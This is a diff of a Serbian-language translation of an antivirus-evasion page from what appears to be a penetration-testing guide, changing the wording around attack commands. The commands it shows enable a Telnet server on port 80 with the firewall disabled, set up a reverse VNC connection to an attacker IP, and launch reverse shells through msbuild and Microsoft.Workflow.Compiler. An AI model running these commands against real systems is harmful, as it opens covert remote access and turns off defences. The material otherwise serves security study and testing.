Ako želite da pročitate više o učitavanju C# assembly-a, molimo vas da pogledate ovaj članak [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) i njihov InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Takođe možete učitati C# Assembly-e **iz PowerShell-a**, pogledajte [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) i [video S3cur3th1sSh1t-a](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
Takođe možete učitati C# assembly-e **iz PowerShell-a**, pogledajte [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) i [video S3cur3th1sSh1t-a](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||||
|
|
||||||
## Using Other Programming Languages
|
## Using Other Programming Languages
|
||||||
|
|
||||||
Kao što je predloženo u [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), moguće je izvršiti zloćudni kod koristeći druge jezike dajući kompromitovanoj mašini pristup **okruženju interpreter-a instaliranom na SMB deljenju pod kontrolom napadača**.
|
Kao što je predloženo u [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), moguće je izvršiti maliciozni kod koristeći druge jezike dajući kompromitovanoj mašini pristup **okruženju interpretera instaliranom na SMB deljenju pod kontrolom napadača**.
|
||||||
|
|
||||||
Dajući pristup Interpreter Binaries i okruženju na SMB deljenju možete **izvršiti proizvoljan kod u ovim jezicima unutar memorije** kompromitovane mašine.
|
Dajući pristup Interpreter Binaries i okruženju na SMB deljenju možete **izvršiti proizvoljan kod u ovim jezicima unutar memorije** kompromitovane mašine.
|
||||||
|
|
||||||
|
@ -334,7 +334,7 @@ Repozitorijum ukazuje: Defender i dalje skenira skripte, ali korišćenjem Go, J
|
||||||
|
|
||||||
## Advanced Evasion
|
## Advanced Evasion
|
||||||
|
|
||||||
Izbegavanje je veoma komplikovana tema, ponekad morate uzeti u obzir mnoge različite izvore telemetrije u samo jednom sistemu, tako da je praktično nemoguće ostati potpuno neotkriven u zrelim okruženjima.
|
Izbegavanje je veoma komplikovana tema, ponekad morate uzeti u obzir mnoge različite izvore telemetrije u samo jednom sistemu, tako da je prilično nemoguće ostati potpuno neotkriven u zrelim okruženjima.
|
||||||
|
|
||||||
Svako okruženje protiv kojeg se borite imaće svoje snage i slabosti.
|
Svako okruženje protiv kojeg se borite imaće svoje snage i slabosti.
|
||||||
|
|
||||||
|
@ -350,7 +350,7 @@ Ovo je takođe još jedan odličan govor od [@mariuszbit](https://twitter.com/ma
|
||||||
|
|
||||||
### **Check which parts Defender finds as malicious**
|
### **Check which parts Defender finds as malicious**
|
||||||
|
|
||||||
Možete koristiti [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) koji će **ukloniti delove binarne datoteke** dok ne **otkrije koji deo Defender** smatra zloćudnim i podeliti to sa vama.\
|
Možete koristiti [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) koji će **ukloniti delove binarne datoteke** dok ne **otkrije koji deo Defender** smatra malicioznim i podeliti ga sa vama.\
|
||||||
Drugi alat koji radi **isto je** [**avred**](https://github.com/dobin/avred) sa otvorenom web stranicom koja nudi uslugu na [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
Drugi alat koji radi **isto je** [**avred**](https://github.com/dobin/avred) sa otvorenom web stranicom koja nudi uslugu na [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||||
|
|
||||||
### **Telnet Server**
|
### **Telnet Server**
|
||||||
|
@ -359,11 +359,11 @@ Do Windows 10, svi Windows su dolazili sa **Telnet serverom** koji ste mogli ins
|
||||||
```bash
|
```bash
|
||||||
pkgmgr /iu:"TelnetServer" /quiet
|
pkgmgr /iu:"TelnetServer" /quiet
|
||||||
```
|
```
|
||||||
Neka **počinje** kada se sistem pokrene i **pokreni** ga sada:
|
Napravite da se **pokrene** kada se sistem pokrene i **izvršite** ga sada:
|
||||||
```bash
|
```bash
|
||||||
sc config TlntSVR start= auto obj= localsystem
|
sc config TlntSVR start= auto obj= localsystem
|
||||||
```
|
```
|
||||||
**Promenite telnet port** (stealth) i onemogućite firewall:
|
**Promenite telnet port** (neprimetno) i onemogućite firewall:
|
||||||
```
|
```
|
||||||
tlntadmn config port=80
|
tlntadmn config port=80
|
||||||
netsh advfirewall set allprofiles state off
|
netsh advfirewall set allprofiles state off
|
||||||
|
@ -382,7 +382,7 @@ Zatim, premestite binarni _**winvnc.exe**_ i **novokreirani** fajl _**UltraVNC.i
|
||||||
|
|
||||||
#### **Obrnuta veza**
|
#### **Obrnuta veza**
|
||||||
|
|
||||||
**Napadač** treba da **izvrši unutar** svog **hosta** binarni `vncviewer.exe -listen 5900` kako bi bio **pripremljen** da uhvati obrnutu **VNC vezu**. Zatim, unutar **žrtve**: Pokrenite winvnc daemon `winvnc.exe -run` i pokrenite `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
**Napadač** treba da **izvrši unutar** svog **hosta** binarni `vncviewer.exe -listen 5900` kako bi bio **pripremljen** da uhvati obrnutu **VNC vezu**. Zatim, unutar **žrtve**: Pokrenite winvnc daemon `winvnc.exe -run` i izvršite `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||||
|
|
||||||
**UPWARNING:** Da biste održali neprimetnost, ne smete raditi nekoliko stvari
|
**UPWARNING:** Da biste održali neprimetnost, ne smete raditi nekoliko stvari
|
||||||
|
|
||||||
|
@ -420,7 +420,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||||
|
|
||||||
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||||
|
|
||||||
#### Prvi C# Reverznog shell-a
|
#### Prvi C# Reverz shell
|
||||||
|
|
||||||
Kompajlirajte ga sa:
|
Kompajlirajte ga sa:
|
||||||
```
|
```
|
||||||
|
@ -507,7 +507,7 @@ catch (Exception err) { }
|
||||||
```
|
```
|
||||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||||
```
|
```
|
||||||
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
|
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57b815abe21ef04857b066)
|
||||||
|
|
||||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||||
|
|
||||||
|
@ -569,7 +569,7 @@ https://github.com/praetorian-code/vulcan
|
||||||
|
|
||||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
|
|